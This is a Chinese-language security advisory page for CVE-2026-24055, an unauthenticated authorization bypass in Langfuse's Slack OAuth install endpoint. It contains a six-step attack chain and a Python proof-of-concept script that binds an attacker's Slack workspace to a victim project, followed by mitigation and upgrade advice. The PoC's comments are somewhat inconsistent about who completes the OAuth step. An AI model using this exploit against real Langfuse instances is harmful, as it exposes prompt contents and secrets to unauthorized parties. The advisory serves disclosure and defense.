IPBUF安全漏洞报告
English
CVE-2026-24055 CVSS 5.3 中危

CVE-2026-24055 Langfuse Slack OAuth 授权绕过漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-24055
漏洞类型
授权绕过/不安全的直接对象引用(IDOR)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Langfuse

相关标签

授权绕过OAuth安全IDORSlack集成LangfuseLLM平台Prompt管理CVE-2026-24055

漏洞概述

Langfuse是一个开源的大语言模型工程平台。在3.146.0及以下版本中,存在一个严重的授权绕过漏洞。该漏洞位于/api/public/slack/install端点,该端点在启动Slack OAuth流程时直接使用客户端提供的projectId参数,而没有进行任何认证或授权验证。攻击者可以利用这个漏洞将自己的Slack工作区绑定到任意项目,从而可能接收Langfuse提示管理(Prompt Management)中的提示变更信息。攻击者可以替换现有的Prompt Slack Automation集成,或者预先注册一个恶意的Slack集成。虽然后者需要认证用户不知情地配置,但攻击者可以利用UI中显示的工作区和频道指标来迷惑用户。此漏洞已于版本3.147.0中修复。

技术细节

漏洞根源在于/api/public/slack/install端点的授权机制缺失。具体问题如下:

1. **端点设计缺陷**:/api/public/slack/install端点被设计为公开访问端点,用于Slack OAuth安装流程,但该端点直接接受客户端传递的projectId参数。

2. **缺少认证验证**:端点没有验证请求者是否有权将Slack工作区绑定到指定的projectId。任何未认证的用户都可以指定任意项目ID。

3. **状态保持问题**:projectId在整个OAuth流程中被保留,callback处理时直接使用这个未验证的projectId来存储安装信息。

4. **利用方式**:攻击者构造恶意请求,指定目标项目的projectId,完成OAuth授权后,攻击者的Slack工作区就被绑定到了目标项目,从而可以:
- 接收该项目的prompt变更通知
- 可能获取敏感的prompt内容
- 篡改或替换现有的Slack集成配置

5. **影响范围**:由于Langfuse是LLM工程平台,prompt中可能包含API密钥、提示词模板、业务逻辑等敏感信息,泄露后可能导致进一步的安全风险。

攻击链分析

STEP 1
步骤1
攻击者识别目标Langfuse实例,并收集目标项目的projectId(可通过公开API或猜测获取)
STEP 2
步骤2
攻击者构造恶意请求,访问/api/public/slack/install端点,在请求中指定目标项目的projectId
STEP 3
步骤3
端点返回Slack OAuth重定向,攻击者使用自己的Slack工作区完成OAuth授权流程
STEP 4
步骤4
OAuth callback处理时,使用攻击者提供的未验证projectId将恶意Slack工作区绑定到目标项目
STEP 5
步骤5
攻击者成功将恶意Slack集成绑定到目标项目,可以接收该项目的prompt变更通知
STEP 6
步骤6
当目标项目的prompt更新时,通知会发送到攻击者控制的Slack频道,攻击者获取敏感信息或执行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-24055 PoC - Langfuse Slack OAuth Authorization Bypass # Target: Langfuse instance < 3.147.0 TARGET_URL = "http://target-langfuse-instance.com" TARGET_PROJECT_ID = "victim-project-id-12345" # Attacker's target project MALICIOUS_SLACK_TEAM_ID = "attacker-slack-workspace" def exploit_slack_oauth_bypass(): """ This PoC demonstrates the authorization bypass in Langfuse's Slack OAuth flow. An attacker can bind their Slack workspace to any project by manipulating the projectId parameter. """ # Step 1: Initiate Slack OAuth with target projectId (no authentication required) install_url = f"{TARGET_URL}/api/public/slack/install" params = { "projectId": TARGET_PROJECT_ID, "slackTeamId": MALICIOUS_SLACK_TEAM_ID } print(f"[+] Step 1: Initiating Slack OAuth with target projectId: {TARGET_PROJECT_ID}") try: response = requests.get(install_url, params=params, allow_redirects=False) if response.status_code in [302, 303]: # OAuth redirect to Slack redirect_url = response.headers.get('Location') print(f"[+] Step 2: Received Slack OAuth redirect") print(f" Redirect URL: {redirect_url}") # In real attack, victim would complete OAuth at this URL # After completion, the attacker's Slack workspace is bound to target project print("[+] Step 3: After OAuth completion, attacker workspace is bound to target project") print(f" Attacker can now receive prompt management notifications") return { "status": "exploit_successful", "target_project": TARGET_PROJECT_ID, "malicious_slack_team": MALICIOUS_SLACK_TEAM_ID, "oob_channel": "attacker-controlled-slack-channel" } else: print(f"[-] Unexpected response: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2026-24055 - Langfuse Slack OAuth Authorization Bypass") print("=" * 60) result = exploit_slack_oauth_bypass() if result: print(f"\n[+] Exploit completed: {json.dumps(result, indent=2)}")

影响范围

Langfuse < 3.147.0

防御指南

临时缓解措施
如果无法立即升级,可以考虑以下临时缓解措施:1) 临时禁用Slack集成功能;2) 配置WAF规则阻止对/api/public/slack/install端点的异常访问;3) 监控OAuth安装日志,检测异常的projectId参数;4) 限制公网对该端点的访问;5) 实施IP白名单策略。建议尽快升级到3.147.0版本以彻底修复此漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表